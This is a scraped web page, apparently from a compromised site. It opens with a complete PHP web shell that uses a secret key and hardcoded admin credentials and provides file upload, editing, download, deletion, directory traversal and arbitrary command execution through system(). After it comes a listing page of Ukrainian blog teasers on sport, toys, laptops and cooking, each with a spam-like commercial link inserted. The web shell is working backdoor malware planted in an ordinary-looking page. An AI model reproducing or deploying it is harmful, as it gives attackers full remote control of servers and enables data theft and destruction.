if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 17 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як запобігти травмам під час занять спортом для успішних результатів

    Правильний розігрів є першим кроком до зменшення ризиків під час тренувань. Виконуйте динамічні рухи протягом 10-15 хвилин, щоб підготувати м’язи та суглоби. Це може включати ходьбу, легкий біг, https://popsport.com.ua/ або активні вправи для окремих груп м’язів. Запам’ятайте, що чим ретельніше ви підготуєте тіло, тим менше шансів на неприємності. Дотримуйтесь правильної техніки виконання вправ. Кожне рух…

    Click or not…

  • Як правильно обрати іграшки для дітей відповідно до віку

    Для немовлят до одного року ідеальні варіанти – це м’які щупики, брязкальця та кольорові кулі, які стимулюють слух і зорову реакцію. Виберіть ігри, що допомагають розвивати тактильні відчуття: текстуровані игрушки, labirint-kids.com.ua які чіпляються на ліжечко, або м’які штуки, що легко тримати у ручках. У дітей віком один-два роки проявляється бажання досліджувати. Рекомендовано інтерактивні ігри, що…

    Click or not…

  • Поради для швидкого підбору ноутбука студенту без зайвих проблем

    Визначте основні вимоги до комп’ютера: важливо, https://digital-world.com.ua щоб пристрій мав процесор не нижче Intel Core i5 або AMD Ryzen 5, а оперативна пам’ять складала щонайменше 8 ГБ. Це забезпечить стабільну роботу програм, які використовуються під час навчання. Далі, зверніть увагу на обсяг накопичувача. Оптимальним варіантом стане SSD на 256 ГБ або більше: він забезпечить швидкість…

    Click or not…

  • Режим дня для малюка як запорука гармонійного розвитку

    Чітко структурований розклад щоденних занять може стати запорукою фізичного та психічного благополуччя дітей. Важливо встановити чіткий час для сну, ігор і навчання, https://mama-choli.com.ua/ що дасть можливість малюкам відчувати себе впевненими та захищеними. Наприклад, оптимальна тривалість нічного сну для малюків віком до трьох років становить не менше 12-14 годин. Включення регулярних прогулянок на свіжому повітрі покращує…

    Click or not…

  • Як обрати монітор для комфортної роботи вдома без втоми

    Для комфортної роботи вдома рекомендується вибрати екран розміром не менше 24 дюймів. Це дозволить легше сприймати інформацію і зменшить навантаження на зір під час тривалих сесій. Роздільна здатність не повинна бути нижчою за Full HD, https://goodtech.com.ua оскільки це забезпечить чіткість зображення та детальність тексту. Зверніть увагу на технологію матриці. IPS-панелі пропонують кращі кути огляду та…

    Click or not…

  • Стильні образи на кожен день для будь-якого бюджету та випадку

    Якщо ви прагнете виглядати стильно, не витрачаючи при цьому всі свої заощадження, зверніть увагу на базові елементи гардеробу, які можна комбінувати та адаптувати до різних стилів. Простий білий чоловічий чи жіночий футболка, lidiastyle.com.ua якісні джинси та універсальні кросівки створять чудовий початок для будь-якого образу. Для підкреслення індивідуальності використовуйте аксесуари: великі кольорові серйозні кольє або стильні…

    Click or not…

  • Мобільні новини: формати та підходи для смартфонів

    У сучасному світі мобільні новини стали невід’ємною частиною інформаційного споживання. З розвитком технологій та зростанням популярності смартфонів, in.ua новинні формати адаптуються до потреб користувачів, які прагнуть отримувати інформацію швидко та зручно. У цьому звіті ми розглянемо основні формати та підходи до створення мобільних новин для смартфонів. По-перше, важливим аспектом є короткі новини або “новини в…

    Click or not…

  • Вплив соціальних мереж на SEO і підвищення позицій сайтів

    Створюйте контент, який користувачі захочуть ділитися. Дослідження показують, що контент, що отримав активні рекомендації в популярних платформах, https://techhubs.com.ua/ має можливість суттєво підвищити позиції у пошукових системах. Такі дії сигналізують алгоритмам про якість та популярність матеріалів. Інтегруйте кнопки для поширення на своїй сторінці. Це може збільшити трафік, оскільки користувачі зможуть легко переходити на ваш ресурс з…

    Click or not…

  • Як приготувати хрусткий домашній хліб всього за п’ять кроків

    Для приготування смачного черствого виробу вам знадобляться лише кілька складових та грамотний підхід. У цьому посібнику ви знайдете конкретні рекомендації щодо створення досконалого випічки у вашій кухні з мінімальними витратами часу і зусиль. Прості інгредієнти: борошно, https://koketka.com.ua/ вода, сіль та дріжджі – це все, що вам потрібно. Перш ніж почати, переконайтеся, що у вас є…

    Click or not…

  • Світовий футбол: ключові події та тенденції

    Світовий футбол, як один з найпопулярніших видів спорту, rundigest.org.ua завжди привертає увагу мільйонів уболівальників по всьому світу. Протягом останніх років ми стали свідками значних змін у цій галузі, які вплинули на розвиток гри, культуру фанатів та економіку клубів. У цьому звіті ми розглянемо ключові події та тенденції, що формують сучасний світовий футбол. 1. Глобалізація футболу…

    Click or not…